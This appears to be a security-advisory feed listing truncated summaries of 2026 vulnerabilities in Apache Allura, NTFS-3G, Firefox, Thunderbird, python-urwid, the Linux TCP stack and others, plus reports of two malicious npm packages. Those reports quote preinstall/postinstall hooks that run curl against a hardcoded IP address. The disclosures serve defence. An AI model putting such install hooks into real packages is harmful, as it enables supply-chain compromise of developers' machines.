PT-2026-80929

Unauthenticated REST disclosure of certain content items in Apache Allura. This issue affects Apache Allura: through 1.19.1. Users are recommended to upgrade to version 1.20.0, which fixes the issue...

CVE-2026-56136

In NTFS-3G through 2026.2.25, an out-of-bounds read exists in ntfsirnill in libntfs-3g/index.c that allows an attacker to read possibly confidential information in an ntfs-3g process by crafting a malicious NTFS image. This read operation is triggered by creation of a file with a crafted name...

Important: python-urwid security update

Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems. Security Fixes:...

Cisco Catalyst SD-WAN Manager Information Disclosure (cisco-sa-sdwan-infodis-SPuJBDCe)

According to its self-reported version, Cisco SD-WAN Viptela Software is affected by a vulnerability. - An information disclosure vulnerability exists in the web-based management interface of Cisco Catalyst SD-WAN Manager due to insufficient access control enforcement for specific template types...

RHEL 10 : firefox (RHSA-2026:58899)

The remote Redhat Enterprise Linux 10 host has a package installed that is affected by multiple vulnerabilities as referenced in the RHSA-2026:58899 advisory. Mozilla Firefox is an open-source web browser, designed for standards compliance, performance, and portability. Security Fixes: firefox:...

RHEL 10 : python-urwid (RHSA-2026:58561)

The remote Redhat Enterprise Linux 10 host has a package installed that is affected by a vulnerability as referenced in the RHSA-2026:58561 advisory. Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic...

PT-2026-80902

The UMP Stream responder library in lib/midi2/ump stream responder.c builds reply packets in a 16-byte struct midi ump uint32 t data4. The builders make endpoint info and make function block info populate only the first two words res.data0 and res.data1 and, before this fix, declared their result...

RHEL 9 : python-urwid (RHSA-2026:58952)

The remote Redhat Enterprise Linux 9 host has a package installed that is affected by a vulnerability as referenced in the RHSA-2026:58952 advisory. Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic da...

Important: python-urwid security update

Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems. Security Fixes:...

Vulnerabilities of the functions tcp_inbound_md5_hash(), tcp_v4_send_reset(), and tcp_v6_send_reset() in the Linux operating system, which allow attackers to compromise the confidentiality, integrity, and accessibility of protected information.

The vulnerabilities of the functions tcpinboundmd5hash, tcpv4sendreset, and tcpv6sendreset in the Linux operating system are related to the disclosure of information due to the observed difference in execution time. Exploiting these vulnerabilities can allow a remote attacker to compromise the...

The vulnerability of the Thunderbird email client, related to the false representation of critical information on the user interface, allows a hacker to compromise data integrity.

The vulnerability of the Thunderbird email client is related to the false representation of critical information to the user interface. Exploiting this vulnerability can allow a malicious actor to compromise data integrity remotely...

CVE-2026-56136

In NTFS-3G through 2026.2.25, an out-of-bounds read exists in ntfsirnill in libntfs-3g/index.c that allows an attacker to read possibly confidential information in an ntfs-3g process by crafting a malicious NTFS image. This read operation is triggered by creation of a file with a crafted name...

RHEL 9 : assertj-core (RHSA-2026:58949)

The remote Redhat Enterprise Linux 9 host has a package installed that is affected by a vulnerability as referenced in the RHSA-2026:58949 advisory. A rich and intuitive set of strongly-typed assertions to use for unit testing either with JUnit or TestNG. Security Fixes: assertj: AssertJ:...

RHEL 9 : assertj-core (RHSA-2026:58956)

The remote Redhat Enterprise Linux 9 host has a package installed that is affected by a vulnerability as referenced in the RHSA-2026:58956 advisory. A rich and intuitive set of strongly-typed assertions to use for unit testing either with JUnit or TestNG. Security Fixes: assertj: AssertJ:...

RHEL 8 : firefox (RHSA-2026:58898)

The remote Redhat Enterprise Linux 8 host has a package installed that is affected by multiple vulnerabilities as referenced in the RHSA-2026:58898 advisory. Mozilla Firefox is an open-source web browser, designed for standards compliance, performance, and portability. Security Fixes: firefox:...

CVE-2026-17101

creationtimestamp| type| source ---|---|--- 2026-08-23 20:07:06+00:00| seen| https://bsky.app/profile/cyberhub.blog/post/3mtrloyqhvb2x...

Malicious code in sm-checkout (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0bc8dabb0ecf46dc57dd07dacdf28c9cddf629ffb8e9b0cea75e71cd999feaf0 [email protected] declares preinstall and postinstall lifecycle scripts in package.json that invoke curl against a hardcoded bare-IP URL over plain...

MAL-2026-14396 Malicious code in sm-cart (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 14b02c7ed01f5b6da80999086ceced1c2eb8b8102384f6778862a0bb3ecaebe0 Package [email protected] declares preinstall and postinstall scripts that unconditionally run curl -s http://16.192.173.5/sm-cart/pre and curl -s...

[SECURITY] [DSA 6461-1] thunderbird security update

------------------------------------------------------------------------- Debian Security Advisory DSA-6461-1 [email protected] https://www.debian.org/security/ Moritz Muehlenhoff August 23, 2026 https://www.debian.org/security/faq -...

[SECURITY] [DSA 6460-1] openjdk-25 security update

------------------------------------------------------------------------- Debian Security Advisory DSA-6460-1 [email protected] https://www.debian.org/security/ Moritz Muehlenhoff August 23, 2026 https://www.debian.org/security/faq -...